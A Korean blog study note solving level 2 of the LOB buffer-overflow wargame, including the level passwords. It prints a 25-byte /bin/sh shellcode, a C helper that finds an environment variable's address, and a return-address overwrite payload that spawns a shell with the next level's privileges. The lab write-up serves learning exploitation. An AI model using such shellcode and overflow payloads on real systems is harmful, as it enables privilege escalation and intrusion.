yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆

LOB 2번 풀이 (gremlin) 본문

wargame 풀이/LOB

LOB 2번 풀이 (gremlin)

yehey 2020. 10. 29. 00:28
id: gremlin
pw: hello bof world

cobolt의 코드

gate와 비슷하지만 이번에는 buffer가 16바이트로 쉘 코드가 들어가기에는 부족하다.

우리가 사용할 쉘 코드는 25바이트이다.

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80 

 

따라서 쉘 코드를 한경변수에 등록해 줄 것이다. (gate에서도 환경변수를 사용했지만....ㅎㅎ)

 

등록하기 전에 cobolt를 디스어셈블해서 스택 구조를 파악해보자

이번에도 gate와 마찬가지로 dummy 값은 존재하지 않는다.

스택구조를 그려보면 다음과 같다.

이제 쉘 코드를 환경변수에 등록해주자

그리고 환경변수 주소를 얻어내는 shell.c를 작성하고

//shell.c code
#include <stdio.h>

int main(){
	printf("%p\n",getenv("SHELL2"));
    return 0;
}

컴파일해서 실행파일로 만들어 준 후, 실행해보면 환경변수의 주소가 출력된다!

우리가 사용할 주소는 0xbffffc60 이다

buffer에서 ret 직전까지 20바이트를 채워주고, ret에는 환경변수의 주소를 넣어주면 cobolt 권한으로 bash 쉘이 실행된다.

payload: ./cobolt `python -c 'print"\x90"*20+"\x60\xfc\xff\xbf"'`

 

cobolt의 pw: "hacking exposed"

'wargame 풀이 > LOB' 카테고리의 다른 글

LOB 6번 풀이 (wolfman)  (0) 2020.11.07
LOB 5번 풀이 (orc)  (0) 2020.11.06
LOB 4번 풀이 (goblin)  (0) 2020.11.02
LOB 3번 풀이 (cobolt)  (0) 2020.10.29
LOB 1번 풀이  (0) 2020.10.27
Comments